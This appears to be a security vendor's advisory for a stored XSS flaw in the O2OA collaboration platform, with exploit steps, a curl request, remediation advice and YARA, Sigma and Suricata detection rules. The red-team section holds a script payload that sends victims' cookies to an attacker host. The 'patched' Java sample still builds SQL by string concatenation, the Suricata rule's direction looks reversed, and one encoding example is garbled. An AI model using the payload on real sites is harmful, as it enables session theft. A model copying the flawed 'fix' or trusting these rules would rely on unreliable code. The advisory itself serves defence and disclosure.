CVE-2025-9683
Executive Summary
CVE-2025-9683 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_cms_assemble_control/jaxrs/form endpoint, specifically within the Personal Profile Page functionality. An authenticated attacker can inject malicious scripts that execute in the context of other users viewing the affected profile. The CVSS score is 3.5 (Low), but the public availability of exploit code and the potential for session hijacking or data theft elevate the risk for unpatched deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based application distributed as a standalone server package. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby). However, organizations using O2OA as a dependency in custom deployments should verify their version and apply the vendor patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid user account.
- User Interaction (UI): Required (R) – Victim must view the crafted profile.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Low (CVSS 3.5). However, the public exploit and low attack complexity make it a realistic vector for targeted attacks against O2OA instances.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the O2OA CMS module. The endpoint /x_cms_assemble_control/jaxrs/form processes form data for the user's personal profile page. Input validation is insufficient, allowing an attacker to submit a payload (e.g., <script>alert(1)</script>) within a profile field (e.g., "Display Name" or "Signature"). When an administrator or another user views the attacker's profile, the script executes in their browser context.
Root Cause: Lack of output encoding or sanitization on the server side before rendering user-supplied data in the profile view.
Attack Flow:
- Attacker authenticates to O2OA.
- Attacker sends a POST request to
/x_cms_assemble_control/jaxrs/formwith a malicious payload in a profile field. - The server stores the payload in the database.
- Victim (e.g., admin) navigates to the attacker's profile page.
- The payload executes, potentially stealing cookies, performing actions on behalf of the victim, or defacing the page.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
// No sanitization or encoding
public void updateProfile(String userId, String displayName) {
String query = "UPDATE user SET display_name = '" + displayName + "' WHERE id = '" + userId + "'";
// Execute query
}
// In the view layer:
out.println("<div>" + user.getDisplayName() + "</div>");
Patched Code (O2OA >= 10.0-411):
// Input sanitization
public void updateProfile(String userId, String displayName) {
String sanitized = StringEscapeUtils.escapeHtml4(displayName);
String query = "UPDATE user SET display_name = '" + sanitized + "' WHERE id = '" + userId + "'";
// Execute query
}
// In the view layer:
out.println("<div>" + StringEscapeUtils.escapeHtml4(user.getDisplayName()) + "</div>");
The patch introduces HTML entity encoding (e.g., < becomes <) both on input and output, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- O2OA instance (version <= 10.0-410)
- Valid user credentials (e.g.,
user:password)
Exploit Steps:
- Log in to O2OA.
- Intercept the profile update request (e.g., using Burp Suite).
- Modify a profile field (e.g.,
displayName) to include a payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the request.
- Wait for an admin to view the profile, or share the profile link.
Example cURL Command:
curl -X POST 'http://target.o2oa/x_cms_assemble_control/jaxrs/form' \
-H 'Content-Type: application/json' \
-H 'Cookie: JSESSIONID=...' \
-d '{"displayName":"<script>alert(1)</script>"}'
Blue Team
Detection:
- Monitor logs for unusual profile update requests containing
<script>oronerror=patterns. - Use WAF rules to block XSS payloads in profile fields.
- Deploy CSP headers to mitigate script execution.
Hunting:
- Search database for stored XSS payloads in user profile fields.
- Review HTTP logs for POST requests to
/x_cms_assemble_control/jaxrs/formwith suspicious parameters.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/x_cms_assemble_control/jaxrs/formwith payloads containing<script>,onerror,javascript:. - Host: Log entries showing profile updates with HTML/JavaScript content.
- File: No specific file-based IOCs; the payload is stored in the database.
- Registry: Not applicable.
Detection Engineering
YARA Rule
rule CVE_2025_9683_O2OA_XSS {
meta:
description = "Detects stored XSS payloads in O2OA profile fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9683"
strings:
$xss_payload_1 = /<script[^>]*>.*?<\/script>/is
$xss_payload_2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss_payload_3 = /javascript\s*:\s*/is
condition:
any of them
}
Sigma Rule
title: O2OA Stored XSS via Profile Update
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-9683 by injecting XSS payloads into O2OA profile fields.
author: Valters IT
logsource:
category: webserver
product: o2oa
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/x_cms_assemble_control/jaxrs/form'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in profile fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-9683 O2OA Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/x_cms_assemble_control/jaxrs/form"; http_uri;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Upgrade O2OA to version 10.0-411 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in profile fields.
Long-term:
- Implement input validation and output encoding for all user-supplied data.
- Conduct regular security audits of custom code.
- Enable Content Security Policy (CSP) headers to reduce impact of XSS.
Workaround:
- Disable the profile update feature temporarily by removing the endpoint from the web server configuration.
Valters IT
Securing Digital Frontiers